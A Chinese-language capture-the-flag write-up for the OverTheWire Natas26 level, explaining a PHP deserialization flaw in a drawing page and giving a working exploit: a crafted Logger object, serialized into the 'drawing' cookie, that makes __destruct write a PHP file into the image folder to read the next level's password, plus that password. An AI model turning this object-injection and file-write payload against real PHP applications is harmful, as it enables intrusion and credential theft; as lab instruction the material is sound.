• Natas26 Writeup(PHP反序列化漏洞)


    Natas26:

    打开页面是一个输入坐标点进行绘图的页面。

    <html>
    <head>
    <!-- This stuff in the header has nothing to do with the level -->
    <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
    <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
    <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
    <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
    <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
    <script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
    <script>var wechallinfo = { "level": "natas26", "pass": "<censored>" };</script></head>
    <body>
    <?php
    
        class Logger{
            private $logFile;                        //三个私有参数
            private $initMsg;
            private $exitMsg;
          
            function __construct($file){            //类创建时调用
                // initialise variables                //初始化变量
                $this->initMsg="#--session started--#
    ";
                $this->exitMsg="#--session end--#
    ";
                $this->logFile = "/tmp/natas26_" . $file . ".log";
          
                // write initial message            //写入初始信息
                $fd=fopen($this->logFile,"a+");
                fwrite($fd,$initMsg);
                fclose($fd);
            }                       
          
            function log($msg){                        //写入信息
                $fd=fopen($this->logFile,"a+");
                fwrite($fd,$msg."
    ");
                fclose($fd);
            }                       
          
            function __destruct(){                    //类销毁时调用
                // write exit message                //写入退出信息
                $fd=fopen($this->logFile,"a+");
                fwrite($fd,$this->exitMsg);
                fclose($fd);
            }                       
        }
     
        function showImage($filename){                //显示图片
            if(file_exists($filename))
                echo "<img src="$filename">";
        }
    
        function drawImage($filename){                //画图
            $img=imagecreatetruecolor(400,300);
            drawFromUserdata($img);
            imagepng($img,$filename);     
            imagedestroy($img);
        }
        
        function drawFromUserdata($img){
            if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
                array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            
                $color=imagecolorallocate($img,0xff,0x12,0x1c);
                imageline($img,$_GET["x1"], $_GET["y1"], 
                                $_GET["x2"], $_GET["y2"], $color);
            }
            
            if (array_key_exists("drawing", $_COOKIE)){
                $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
                if($drawing)
                    foreach($drawing as $object)
                        if( array_key_exists("x1", $object) && 
                            array_key_exists("y1", $object) &&
                            array_key_exists("x2", $object) && 
                            array_key_exists("y2", $object)){
                        
                            $color=imagecolorallocate($img,0xff,0x12,0x1c);
                            imageline($img,$object["x1"],$object["y1"],
                                    $object["x2"] ,$object["y2"] ,$color);
                
                        }
            }    
        }
        
        function storeData(){
            $new_object=array();
    
            if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
                array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
                $new_object["x1"]=$_GET["x1"];
                $new_object["y1"]=$_GET["y1"];
                $new_object["x2"]=$_GET["x2"];
                $new_object["y2"]=$_GET["y2"];
            }
            
            if (array_key_exists("drawing", $_COOKIE)){
                $drawing=unserialize(base64_decode($_COOKIE["drawing"]));    //反序列化
            }
            else{
                // create new array
                $drawing=array();
            }
            
            $drawing[]=$new_object;
            setcookie("drawing",base64_encode(serialize($drawing)));        //序列化
        }
    ?>
    
    <h1>natas26</h1>
    <div id="content">
    
    Draw a line:<br>
    <form name="input" method="get">
    X1<input type="text" name="x1" size=2>
    Y1<input type="text" name="y1" size=2>
    X2<input type="text" name="x2" size=2>
    Y2<input type="text" name="y2" size=2>
    <input type="submit" value="DRAW!">
    </form> 
    
    <?php
        session_start();
    
        if (array_key_exists("drawing", $_COOKIE) ||
            (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
                array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
            $imgfile="img/natas26_" . session_id() .".png"; 
            drawImage($imgfile); 
            showImage($imgfile);
            storeData();
        }
        
    ?>
    
    <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
    </div>
    </body>
    </html>
    natas26-sourcecode.html

    查看源码,发现了php反序列化函数unserialize(),且可以通过cookie来控制unserialize()的变量,猜测存在php反序列化漏洞。

    Php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。

    Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。

    php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。

    关键代码:

    class Logger{
    	private $logFile;						//三个私有参数
    	private $initMsg;
    	private $exitMsg;
    
    	function __construct($file){			//类创建时调用
    		// initialise variables				//初始化变量
    		$this->initMsg="#--session started--#
    ";
    		$this->exitMsg="#--session end--#
    ";
    		$this->logFile = "/tmp/natas26_" . $file . ".log";
    
    		// write initial message			//写入初始信息
    		$fd=fopen($this->logFile,"a+");
    		fwrite($fd,$initMsg);
    		fclose($fd);
    	}                       
    
    	function log($msg){						//写入信息
    		$fd=fopen($this->logFile,"a+");
    		fwrite($fd,$msg."
    ");
    		fclose($fd);
    	}                       
    
    	function __destruct(){					//类销毁时调用
    		// write exit message				//写入退出信息
    		$fd=fopen($this->logFile,"a+");
    		fwrite($fd,$this->exitMsg);
    		fclose($fd);
    	}                       
    }

    观察代码可以发现,在类销毁时调用的__destruct()魔术方法,可以向任意文件写入信息。

    if (array_key_exists("drawing", $_COOKIE)){
    	$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
    } 

    而且,可以通过cookie来写入序列化注入信息。

    总结思路,通过cookie来注入信息,利用反序列化漏洞在能够访问的文件夹(img)下建立一个shell(aaa.php),写入php语句,然后访问该脚本,就能够进行任意语句执行/回显!

    Payload:

    <?php
    class Logger{
            private $logFile;
            private $initMsg;
            private $exitMsg;
            function __construct(){   #注入信息
                $this->initMsg="";
                $this->exitMsg="<php include '/etc/natas_webpass/natas27';?>";
                $this->logFile="img/aaa.php";
            }
    }
     
    $test = new Logger();
    echo serialize($test);
    echo "
    ";
    echo base64_encode(serialize($test));    #显示base64编码后的序列化字符串
    ?>
    
    本地执行,得到base64编码后的序列化字符串:
    Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL2FhYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9waHAgaW5jbHVkZSgnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTs/PiI7fQ==
     

    burp抓包,把字符串覆盖到cookie[drawing]中,重新发送请求。

    访问../img/aaa.php即可得到flag。

    flag:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

    参考:

    https://www.cnblogs.com/ichunqiu/p/9554885.html
    https://www.cnblogs.com/liqiuhao/p/6901620.html
    https://blog.csdn.net/baidu_35297930/article/details/99732206?utm_source=distribute.pc_relevant.none-task

  • 相关阅读:
    [傅里叶变换及其应用学习笔记] 二十五. 线性系统,传递函数,特征值
    [傅里叶变换及其应用学习笔记] 二十四. 级联,脉冲响应
    [傅里叶变换及其应用学习笔记] 二十三. 线性时不变系统的基本定义
    [傅里叶变换及其应用学习笔记] 二十二. 快速傅里叶变换
    [傅里叶变换及其应用学习笔记] 二十一. 离散傅里叶变换的矩阵定义,一些性质
    [傅里叶变换及其应用学习笔记] 十九. 采样定理在音乐上的应用
    mysql误删数据快速恢复
    php+js 防止被抓包篡改数据,数据签名校验
    IOS 苹果手机fiddler抓包时出现了tunnel to 443 解决方案,亲测有效
    php 查找字符串里面中文字符第一次出现的位置,并插入字符串
  • 原文地址:https://www.cnblogs.com/zhengna/p/12343272.html
走看看 - 开发者的网上家园